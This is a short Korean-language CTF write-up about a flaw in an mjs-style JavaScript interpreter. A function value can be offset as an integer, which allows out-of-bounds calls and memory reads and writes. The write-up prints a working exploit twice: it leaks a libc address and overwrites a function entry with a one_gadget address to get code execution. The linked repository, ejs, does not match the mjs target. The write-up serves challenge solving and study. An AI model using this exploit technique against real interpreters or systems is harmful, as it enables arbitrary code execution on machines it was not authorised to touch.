[CTF write up]

https://github.com/mde/ejs

함수가 원시 포인터를 저장하고 정수에서 작동하도록 허용하는 주요 결함(?) 또는 기능(?)이 있습니다. 패치도 안된듯(?)

f = print;
f = f + 0x100;
f(); -> call (mjs_print+0x100)

이렇게 하면 OOB가 가능합니다.

let f = print;

let libc_start_main = f(0x26960);
for(let i = 1; i < 6; i++){
	libc_start_main = libc_start_main + (f(0x26960+i) << 8*i); 
} 
let system = libc_start_main - 0x29dc0+0xebcf5; 
for(let i = 0; i < 6; i++){    
	f(0x269c0+i) = (system >> 8*i) & 0xff; 
 } 
 print('')

OOB 호출과 OOB 읽기/쓰기 모두 가능하므로 get을 one_gadget으로 재정의하여 해결할 수 있습니다.

let f = print; let libc_start_main = f(0x26960); for(let i = 1; i < 6; i++){ libc_start_main = libc_start_main + (f(0x26960+i) << 8*i); } let system = libc_start_main - 0x29dc0+0xebcf5; for(let i = 0; i < 6; i++){    f(0x269c0+i) = (system >> 8*i) & 0xff; } print('')

한 줄로 보내야 합니다.